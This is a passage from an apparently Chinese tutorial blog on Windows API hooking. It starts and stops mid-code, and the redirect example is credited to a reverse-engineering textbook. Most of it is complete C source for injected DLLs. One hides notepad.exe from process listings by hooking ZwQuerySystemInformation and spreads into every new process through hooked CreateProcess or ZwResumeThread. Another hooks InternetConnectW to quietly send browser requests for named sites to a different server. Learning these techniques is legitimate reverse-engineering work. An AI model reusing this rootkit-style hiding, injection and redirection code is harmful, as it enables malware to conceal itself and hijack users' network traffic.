fdwReason, LPVOID lpvReserved){    char            szCurProc[MAX_PATH] = {0,};    char            *p = NULL;    // 异常处理是注入不会发生在HideProc2.exe    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);    p = strrchr(szCurProc, '\\');    if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )        return TRUE;    // change privilege    SetPrivilege(SE_DEBUG_NAME, TRUE);    switch( fdwReason )    {        case DLL_PROCESS_ATTACH :             // hook            hook_by_code("kernel32.dll", "CreateProcessA",                          (PROC)NewCreateProcessA, g_pOrgCPA);            hook_by_code("kernel32.dll", "CreateProcessW",                          (PROC)NewCreateProcessW, g_pOrgCPW);            hook_by_code("ntdll.dll", "ZwQuerySystemInformation",                          (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);            break;        case DLL_PROCESS_DETACH :            // unhook            unhook_by_code("kernel32.dll", "CreateProcessA",                            g_pOrgCPA);            unhook_by_code("kernel32.dll", "CreateProcessW",                            g_pOrgCPW);            unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",                            g_pOrgZwQSI);            break;    }    return TRUE;}

从以上代码可以看出,与之前代码并无太大变化,在勾取时同时勾取了CreateProcessA和CreateProcessW函数,还需要注意的是由于勾取了这两个函数,所以在进程注入的时候不需要再用OpenProcess来获取进程Handle了能直接通过openProcess的参数lpProcessInformation->hProcess来获取,不过上面的代码仍然没有用到ZwResumeThread(),这一函数的勾取将在后面提到。

“热补丁”7字节修改

7字节修改原理是由于部分API起始部分有7字节“无意义代码”如图:
这里写图片描述
从图中可以看到API是从MOV EDI EDI开始的,而它是无意义的,并且前面还有5个NOP命令,所以只要修改MOV EDI EDI为跳转命令(EB F9,这是通用短跳转,只要用到这个技术,他就不必修改)使它跳转到第一个NOP命令,再把5个NOP命令改为一个长跳转命令,JMP XXXXXXXX,是XXXXXXXX指向自定义代码就可以达到勾取函数的目的。
需要注意的是:
1.并非所有API都有前7个无意义字节,所有使用是需要具体查看
2.地址XXXXXXXX在编码中并非真是RVA的硬编码,而是通过公式计算:
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc
实际上通用的跳转地址计算公司为
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc-指令长度
而此处是因为当前地址(NOP*5)为pFunc-5,将它带入上面的公式就得到了第一个公式。
短跳转地址F9是怎么算出来的呢?
因为短跳转当前位置为pFunc目的地址为pFunc-5,指令长度为2故而(pFunc-5)-pFunc-2=-7=0xF9(程序员计算器可以算出来)
思路写完,累了就直接贴代码了
注入代码与上面HideProc2完全一样
热补丁源代码在stealth3.dll中
stealth3.dll

#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME                 (L"stealth3.dll")#define STR_HIDE_PROCESS_NAME           (L"notepad.exe")#define STATUS_SUCCESS                  (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS {    SystemBasicInformation = 0,    SystemPerformanceInformation = 2,    SystemTimeOfDayInformation = 3,    SystemProcessInformation = 5,    SystemProcessorPerformanceInformation = 8,    SystemInterruptInformation = 23,    SystemExceptionInformation = 33,    SystemRegistryQuotaInformation = 37,    SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION {    ULONG NextEntryOffset;    BYTE Reserved1[52];    PVOID Reserved2[3];    HANDLE UniqueProcessId;    PVOID Reserved3;    ULONG HandleCount;    BYTE Reserved4[4];    PVOID Reserved5[11];    SIZE_T PeakPagefileUsage;    SIZE_T PrivatePageCount;    LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(    SYSTEM_INFORMATION_CLASS SystemInformationClass,     PVOID SystemInformation,     ULONG SystemInformationLength,     PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){    FARPROC pFunc;    DWORD dwOldProtect, dwAddress;    BYTE pBuf[5] = {0xE9, 0, };    PBYTE pByte;    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] == 0xE9 )        return FALSE;    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    memcpy(pOrgBytes, pFunc, 5);    dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;    memcpy(&pBuf[1], &dwAddress, 4);    memcpy(pFunc, pBuf, 5);    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew){    FARPROC pFunc;    DWORD dwOldProtect, dwAddress;    BYTE pBuf[5] = { 0xE9, 0, };    BYTE pBuf2[2] = { 0xEB, 0xF9 };    PBYTE pByte;    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] == 0xEB )        return FALSE;    VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 1. NOP (0x90)    dwAddress = (DWORD)pfnNew - (DWORD)pFunc;    memcpy(&pBuf[1], &dwAddress, 4);    memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);    // 2. MOV EDI, EDI (0x8BFF)    memcpy(pFunc, pBuf2, 2);    VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){    FARPROC pFunc;    DWORD dwOldProtect;    PBYTE pByte;    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] != 0xE9 )        return FALSE;    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    memcpy(pFunc, pOrgBytes, 5);    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName){    FARPROC pFunc;    DWORD dwOldProtect;    PBYTE pByte;    BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };    BYTE pBuf2[2] = { 0x8B, 0xFF };    pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);    pByte = (PBYTE)pFunc;    if( pByte[0] != 0xEB )        return FALSE;    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 1. NOP (0x90)    memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);    // 2. MOV EDI, EDI (0x8BFF)    memcpy(pFunc, pBuf2, 2);    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);    return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {    TOKEN_PRIVILEGES tp;    HANDLE hToken;    LUID luid;    if( !OpenProcessToken(GetCurrentProcess(),                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,                           &hToken) )    {        printf("OpenProcessToken error: %u\n", GetLastError());        return FALSE;    }    if( !LookupPrivilegeValue(NULL,             // lookup privilege on local system                              lpszPrivilege,    // privilege to lookup                               &luid) )          // receives LUID of privilege    {        printf("LookupPrivilegeValue error: %u\n", GetLastError() );         return FALSE;     }    tp.PrivilegeCount = 1;    tp.Privileges[0].Luid = luid;    if( bEnablePrivilege )        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    else        tp.Privileges[0].Attributes = 0;    // Enable the privilege or disable all privileges.    if( !AdjustTokenPrivileges(hToken,                                FALSE,                                &tp,                                sizeof(TOKEN_PRIVILEGES),                                (PTOKEN_PRIVILEGES) NULL,                                (PDWORD) NULL) )    {         printf("AdjustTokenPrivileges error: %u\n", GetLastError() );         return FALSE;     }     if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )    {        printf("The token does not have the specified privilege. \n");        return FALSE;    }     return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){    HANDLE hThread;    LPVOID pRemoteBuf;    DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);    FARPROC pThreadProc;    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,                                 MEM_COMMIT, PAGE_READWRITE);    if( pRemoteBuf == NULL )        return FALSE;    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,                        dwBufSize, NULL);    pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),                                  "LoadLibraryW");    hThread = CreateRemoteThread(hProcess, NULL, 0,                                  (LPTHREAD_START_ROUTINE)pThreadProc,                                  pRemoteBuf, 0, NULL);    WaitForSingleObject(hThread, INFINITE);     VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);    CloseHandle(hThread);    return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,     PVOID SystemInformation,     ULONG SystemInformationLength,     PULONG ReturnLength){    NTSTATUS status;    FARPROC pFunc;    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;    char szProcName[MAX_PATH] = {0,};    unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);    pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),                            "ZwQuerySystemInformation");    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)             (SystemInformationClass, SystemInformation,               SystemInformationLength, ReturnLength);    if( status != STATUS_SUCCESS )        goto __NTQUERYSYSTEMINFORMATION_END;    if( SystemInformationClass == SystemProcessInformation )    {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while(TRUE)        {            if(pCur->Reserved2[1] != NULL)            {                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))                {                    if(pCur->NextEntryOffset == 0)                        pPrev->NextEntryOffset = 0;                    else                        pPrev->NextEntryOffset += pCur->NextEntryOffset;                }                else                            pPrev = pCur;               }            if(pCur->NextEntryOffset == 0)                break;            pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);        }    }__NTQUERYSYSTEMINFORMATION_END:    hook_by_code("ntdll.dll", "ZwQuerySystemInformation",                  (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);    return status;}BOOL WINAPI NewCreateProcessA(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation){    BOOL bRet;    FARPROC pFunc;    // original API 调用    pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");    pFunc = (FARPROC)((DWORD)pFunc + 2);    bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,                                     lpCommandLine,                                     lpProcessAttributes,                                     lpThreadAttributes,                                     bInheritHandles,                                     dwCreationFlags,                                     lpEnvironment,                                     lpCurrentDirectory,                                     lpStartupInfo,                                     lpProcessInformation);    // 向生成的stealth3.dll代码    if( bRet )        InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);    return bRet;}BOOL WINAPI NewCreateProcessW(    LPCTSTR lpApplicationName,    LPTSTR lpCommandLine,    LPSECURITY_ATTRIBUTES lpProcessAttributes,    LPSECURITY_ATTRIBUTES lpThreadAttributes,    BOOL bInheritHandles,    DWORD dwCreationFlags,    LPVOID lpEnvironment,    LPCTSTR lpCurrentDirectory,    LPSTARTUPINFO lpStartupInfo,    LPPROCESS_INFORMATION lpProcessInformation){    BOOL bRet;    FARPROC pFunc;    // original API 调用    pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");    pFunc = (FARPROC)((DWORD)pFunc + 2);    bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,                                     lpCommandLine,                                     lpProcessAttributes,                                     lpThreadAttributes,                                     bInheritHandles,                                     dwCreationFlags,                                     lpEnvironment,                                     lpCurrentDirectory,                                     lpStartupInfo,                                     lpProcessInformation);    if( bRet )        InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);    return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){    char            szCurProc[MAX_PATH] = {0,};    char            *p = NULL;    //     GetModuleFileNameA(NULL, szCurProc, MAX_PATH);    p = strrchr(szCurProc, '\\');    if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )        return TRUE;    // change privilege    SetPrivilege(SE_DEBUG_NAME, TRUE);    switch( fdwReason )    {        case DLL_PROCESS_ATTACH :             // hook            hook_by_hotpatch("kernel32.dll", "CreateProcessA",                              (PROC)NewCreateProcessA);            hook_by_hotpatch("kernel32.dll", "CreateProcessW",                              (PROC)NewCreateProcessW);            hook_by_code("ntdll.dll", "ZwQuerySystemInformation",                          (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);            break;        case DLL_PROCESS_DETACH :            // unhook            unhook_by_hotpatch("kernel32.dll", "CreateProcessA");            unhook_by_hotpatch("kernel32.dll", "CreateProcessW");            unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",                            g_pOrgZwQSI);            break;    }    return TRUE;}

最后说明一下,热补丁不再反复使用hook和unHook是勾取过程更加稳定,但是它却有API的限制,只能勾取前面有7字节无意义指令的API,吃饭,先收工!

今天又来把前面未完成的部分写完,也就是通过勾取ZwResumeThread()函数来实现全局勾取的目的,前面已经提到过为了勾取新建的进程所以要勾取父进程的CreateProcess函数,然而调用链是这样的:
CreateProcess->
CreateProcessInternal->
ZwCreateUserProcess->
ZwResumeThread.
为了勾取尽可能底层的API所以要勾取ZwResumeThread,实际上父进程在把子进程创建好了以后,会把子进程挂起等待运行,而ZwResumeThread就是用来恢复运行的。
勾取具体过程的思路和上面一样,就不再重复,这里贴上一个源代码实例,实例来自《逆向工程核心原理》34章
它是一个用于改变IE链接到指定链接的实例,其中除了要勾取上面的ZwResumeThread来实现全局勾取目的,还要勾取用于网络链接的API InternetConnect函数,并修改其中的lpszServerName参数,来改变链接地址,源代码不包括主函数,只有关键的DLL,并且部分代码是上面的代码重用,为了省力,我就不改了,^_^||
redirect.dll

// redirect.cpp#include "windows.h"#include "wininet.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME                     (L"redirect.dll")#define STATUS_SUCCESS                      (0x00000000L) typedef LONG NTSTATUS;typedef struct _CLIENT_ID {    HANDLE UniqueProcess;    HANDLE UniqueThread;} CLIENT_ID;typedef struct _THREAD_BASIC_INFORMATION {    NTSTATUS ExitStatus;    PVOID TebBaseAddress;    CLIENT_ID ClientId;    ULONG AffinityMask;    LONG Priority;    LONG BasePriority;} THREAD_BASIC_INFORMATION;typedef NTSTATUS (WINAPI *PFZWRESUMETHREAD)(    HANDLE ThreadHandle,     PULONG SuspendCount);typedef NTSTATUS (WINAPI *PFZWQUERYINFORMATIONTHREAD)(    HANDLE ThreadHandle,     ULONG ThreadInformationClass,     PVOID ThreadInformation,     ULONG ThreadInformationLength,     PULONG ReturnLength);typedef HINTERNET (WINAPI *PFINTERNETCONNECTW)(    HINTERNET hInternet,    LPCWSTR lpszServerName,    INTERNET_PORT nServerPort,    LPCTSTR lpszUsername,    LPCTSTR lpszPassword,    DWORD dwService,    DWORD dwFlags,    DWORD_PTR dwContext);BYTE g_pZWRT[5] = {0,};BYTE g_pICW[5] = {0,};void DebugLog(const char *format, ...){    va_list vl;    FILE *pf = NULL;    char szLog[512] = {0,};    va_start(vl, format);    wsprintfA(szLog, format, vl);    va_end(vl);    OutputDebugStringA(szLog);}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {    TOKEN_PRIVILEGES tp;    HANDLE hToken;    LUID luid;    if( !OpenProcessToken(GetCurrentProcess(),                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,                           &hToken) )    {        DebugLog("OpenProcessToken error: %u\n", GetLastError());        return FALSE;    }    if( !LookupPrivilegeValue(NULL,             // lookup privilege on local system                              lpszPrivilege,    // privilege to lookup                               &luid) )          // receives LUID of privilege    {        DebugLog("LookupPrivilegeValue error: %u\n", GetLastError() );         return FALSE;     }    tp.PrivilegeCount = 1;    tp.Privileges[0].Luid = luid;    if( bEnablePrivilege )        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    else        tp.Privileges[0].Attributes = 0;    // Enable the privilege or disable all privileges.    if( !AdjustTokenPrivileges(hToken,                                FALSE,                                &tp,                                sizeof(TOKEN_PRIVILEGES),                                (PTOKEN_PRIVILEGES) NULL,                                (PDWORD) NULL) )    {         DebugLog("AdjustTokenPrivileges error: %u\n", GetLastError() );         return FALSE;     }     if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )    {        DebugLog("The token does not have the specified privilege. \n");        return FALSE;    }     return TRUE;}BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){    FARPROC pFunc = NULL;    DWORD dwOldProtect = 0, dwAddress = 0;    BYTE pBuf[5] = {0xE9, 0, };    PBYTE pByte = NULL;    HMODULE hMod = NULL;    hMod = GetModuleHandleA(szDllName);    if( hMod == NULL )    {        DebugLog("hook_by_code() : GetModuleHandle(\"%s\") failed!!! [%d]\n",                  szDllName, GetLastError());        return FALSE;    }    pFunc = (FARPROC)GetProcAddress(hMod, szFuncName);    if( pFunc == NULL )    {        DebugLog("hook_by_code() : GetProcAddress(\"%s\") failed!!! [%d]\n",                  szFuncName, GetLastError());        return FALSE;    }    pByte = (PBYTE)pFunc;    if( pByte[0] == 0xE9 )    {        DebugLog("hook_by_code() : The API is hooked already!!!\n");        return FALSE;    }    if( !VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect) )    {        DebugLog("hook_by_code() : VirtualProtect(#1) failed!!! [%d]\n", GetLastError());        return FALSE;    }    memcpy(pOrgBytes, pFunc, 5);    dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;    memcpy(&pBuf[1], &dwAddress, 4);    memcpy(pFunc, pBuf, 5);    if( !VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect) )    {        DebugLog("hook_by_code() : VirtualProtect(#2) failed!!! [%d]\n", GetLastError());        return FALSE;    }    return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){    FARPROC pFunc = NULL;    DWORD dwOldProtect = 0;    PBYTE pByte = NULL;    HMODULE hMod = NULL;    hMod = GetModuleHandleA(szDllName);    if( hMod == NULL )    {        DebugLog("unhook_by_code() : GetModuleHandle(\"%s\") failed!!! [%d]\n",                  szDllName, GetLastError());        return FALSE;    }    pFunc = (FARPROC)GetProcAddress(hMod, szFuncName);    if( pFunc == NULL )    {        DebugLog("unhook_by_code() : GetProcAddress(\"%s\") failed!!! [%d]\n",                  szFuncName, GetLastError());        return FALSE;    }    pByte = (PBYTE)pFunc;    if( pByte[0] != 0xE9 )    {        DebugLog("unhook_by_code() : The API is unhooked already!!!");        return FALSE;    }    if( !VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect) )    {        DebugLog("unhook_by_code() : VirtualProtect(#1) failed!!! [%d]\n", GetLastError());        return FALSE;    }    memcpy(pFunc, pOrgBytes, 5);    if( !VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect) )    {        DebugLog("unhook_by_code() : VirtualProtect(#2) failed!!! [%d]\n", GetLastError());        return FALSE;    }    return TRUE;}BOOL IsVistaLater(){    OSVERSIONINFO osvi;    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);    GetVersionEx(&osvi);    if( osvi.dwMajorVersion >= 6 )        return TRUE;    return FALSE;}typedef DWORD (WINAPI *PFNTCREATETHREADEX)(     PHANDLE                 ThreadHandle,       ACCESS_MASK             DesiredAccess,      LPVOID                  ObjectAttributes,       HANDLE                  ProcessHandle,      LPTHREAD_START_ROUTINE  lpStartAddress,     LPVOID                  lpParameter,        BOOL                    CreateSuspended,        DWORD                   dwStackSize,        DWORD                   dw1,     DWORD                   dw2,     LPVOID                  Unknown ); BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf){    HANDLE      hThread = NULL;    FARPROC     pFunc = NULL;    if( IsVistaLater() )    // Vista, 7, Server2008    {        pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");        if( pFunc == NULL )        {            DebugLog("MyCreateRemoteThread() : GetProcAddress() failed!!! [%d]\n",                   GetLastError());            return FALSE;        }        ((PFNTCREATETHREADEX)pFunc)(&hThread,                                    0x1FFFFF,                                    NULL,                                    hProcess,                                    pThreadProc,                                    pRemoteBuf,                                    FALSE,                                    NULL,                                    NULL,                                    NULL,                                    NULL);        if( hThread == NULL )        {            DebugLog("MyCreateRemoteThread() : NtCreateThreadEx() failed!!! [%d]\n", GetLastError());            return FALSE;        }    }    else                    // 2000, XP, Server2003    {        hThread = CreateRemoteThread(hProcess, NULL, 0,                                      pThreadProc, pRemoteBuf, 0, NULL);        if( hThread == NULL )        {            DebugLog("MyCreateRemoteThread() : CreateRemoteThread() failed!!! [%d]\n", GetLastError());            return FALSE;        }    }    if( WAIT_FAILED == WaitForSingleObject(hThread, INFINITE) )    {        DebugLog("MyCreateRemoteThread() : WaitForSingleObject() failed!!! [%d]\n", GetLastError());        return FALSE;    }    return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){    HANDLE                  hProcess = NULL;    HANDLE                  hThread = NULL;    LPVOID                  pRemoteBuf = NULL;    DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);    LPTHREAD_START_ROUTINE  pThreadProc = NULL;    BOOL                    bRet = FALSE;    HMODULE                 hMod = NULL;    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )    {        DebugLog("InjectDll() : OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());        goto INJECTDLL_EXIT;    }    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,                                 MEM_COMMIT, PAGE_READWRITE);    if( pRemoteBuf == NULL )    {        DebugLog("InjectDll() : VirtualAllocEx() failed!!! [%d]\n", GetLastError());        goto INJECTDLL_EXIT;    }    if( !WriteProcessMemory(hProcess, pRemoteBuf,                            (LPVOID)szDllPath, dwBufSize, NULL) )    {        DebugLog("InjectDll() : WriteProcessMemory() failed!!! [%d]\n", GetLastError());        goto INJECTDLL_EXIT;    }    hMod = GetModuleHandle(L"kernel32.dll");    if( hMod == NULL )    {        DebugLog("InjectDll() : GetModuleHandle() failed!!! [%d]\n", GetLastError());        goto INJECTDLL_EXIT;    }    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");    if( pThreadProc == NULL )    {        DebugLog("InjectDll() : GetProcAddress() failed!!! [%d]\n", GetLastError());        goto INJECTDLL_EXIT;    }    if( !MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf) )    {        DebugLog("InjectDll() : MyCreateRemoteThread() failed!!!\n");        goto INJECTDLL_EXIT;    }    bRet = TRUE;INJECTDLL_EXIT:    if( pRemoteBuf )        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);    if( hThread )        CloseHandle(hThread);    if( hProcess )        CloseHandle(hProcess);    return bRet;}NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount){    NTSTATUS status, statusThread;    FARPROC pFunc = NULL, pFuncThread = NULL;    DWORD dwPID = 0;    static DWORD dwPrevPID = 0;    THREAD_BASIC_INFORMATION tbi;    HMODULE hMod = NULL;    TCHAR szModPath[MAX_PATH] = {0,};    DebugLog("NewZwResumeThread() : start!!!\n");    hMod = GetModuleHandle(L"ntdll.dll");    if( hMod == NULL )    {        DebugLog("NewZwResumeThread() : GetModuleHandle() failed!!! [%d]\n",                  GetLastError());        return NULL;    }    // call ntdll!ZwQueryInformationThread()    pFuncThread = GetProcAddress(hMod, "ZwQueryInformationThread");    if( pFuncThread == NULL )    {        DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]\n",                  GetLastError());        return NULL;    }    statusThread = ((PFZWQUERYINFORMATIONTHREAD)pFuncThread)                   (ThreadHandle, 0, &tbi, sizeof(tbi), NULL);    if( statusThread != STATUS_SUCCESS )    {        DebugLog("NewZwResumeThread() : pFuncThread() failed!!! [%d]\n",                  GetLastError());        return NULL;    }    dwPID = (DWORD)tbi.ClientId.UniqueProcess;    if ( (dwPID != GetCurrentProcessId()) && (dwPID != dwPrevPID) )    {        DebugLog("NewZwResumeThread() => call InjectDll()\n");        dwPrevPID = dwPID;        // change privilege        if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )            DebugLog("NewZwResumeThread() : SetPrivilege() failed!!!\n");        // get injection dll path        GetModuleFileName(GetModuleHandle(STR_MODULE_NAME),                           szModPath,                           MAX_PATH);        if( !InjectDll(dwPID, szModPath) )            DebugLog("NewZwResumeThread() : InjectDll(%d) failed!!!\n", dwPID);    }    // call ntdll!ZwResumeThread()    if( !unhook_by_code("ntdll.dll", "ZwResumeThread", g_pZWRT) )    {        DebugLog("NewZwResumeThread() : unhook_by_code() failed!!!\n");        return NULL;    }    pFunc = GetProcAddress(hMod, "ZwResumeThread");    if( pFunc == NULL )    {        DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]\n",                  GetLastError());        goto __NTRESUMETHREAD_END;    }    status = ((PFZWRESUMETHREAD)pFunc)(ThreadHandle, SuspendCount);    if( status != STATUS_SUCCESS )    {        DebugLog("NewZwResumeThread() : pFunc() failed!!! [%d]\n", GetLastError());        goto __NTRESUMETHREAD_END;    }__NTRESUMETHREAD_END:    if( !hook_by_code("ntdll.dll", "ZwResumeThread",                       (PROC)NewZwResumeThread, g_pZWRT) )    {        DebugLog("NewZwResumeThread() : hook_by_code() failed!!!\n");    }    DebugLog("NewZwResumeThread() : end!!!\n");    return status;}HINTERNET WINAPI NewInternetConnectW(    HINTERNET hInternet,    LPCWSTR lpszServerName,    INTERNET_PORT nServerPort,    LPCTSTR lpszUsername,    LPCTSTR lpszPassword,    DWORD dwService,    DWORD dwFlags,    DWORD_PTR dwContext){    HINTERNET hInt = NULL;    FARPROC pFunc = NULL;    HMODULE hMod = NULL;    // unhook    if( !unhook_by_code("wininet.dll", "InternetConnectW", g_pICW) )    {        DebugLog("NewInternetConnectW() : unhook_by_code() failed!!!\n");        return NULL;    }    // call original API    hMod = GetModuleHandle(L"wininet.dll");    if( hMod == NULL )    {        DebugLog("NewInternetConnectW() : GetModuleHandle() failed!!! [%d]\n",                  GetLastError());        goto __INTERNETCONNECT_EXIT;    }    pFunc = GetProcAddress(hMod, "InternetConnectW");    if( pFunc == NULL )    {        DebugLog("NewInternetConnectW() : GetProcAddress() failed!!! [%d]\n",                  GetLastError());        goto __INTERNETCONNECT_EXIT;    }    if( !_tcsicmp(lpszServerName, L"www.naver.com") ||        !_tcsicmp(lpszServerName, L"www.daum.net") ||        !_tcsicmp(lpszServerName, L"www.nate.com") ||         !_tcsicmp(lpszServerName, L"www.yahoo.com") )    {        DebugLog("[redirect] naver, daum, nate, yahoo => reversecore\n");        hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet,                                           L"www.reversecore.com",                                           nServerPort,                                           lpszUsername,                                           lpszPassword,                                           dwService,                                           dwFlags,                                           dwContext);    }    else    {        DebugLog("[no redirect]\n");        hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet,                                           lpszServerName,                                           nServerPort,                                           lpszUsername,                                           lpszPassword,                                           dwService,                                           dwFlags,                                           dwContext);    }__INTERNETCONNECT_EXIT:    // hook    if( !hook_by_code("wininet.dll", "InternetConnectW",                       (PROC)NewInternetConnectW, g_pICW) )    {        DebugLog("NewInternetConnectW() : hook_by_code() failed!!!\n");    }    return hInt;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){    char            szCurProc[MAX_PATH] = {0,};    char            *p = NULL;    switch( fdwReason )    {        case DLL_PROCESS_ATTACH :             DebugLog("DllMain() : DLL_PROCESS_ATTACH\n");            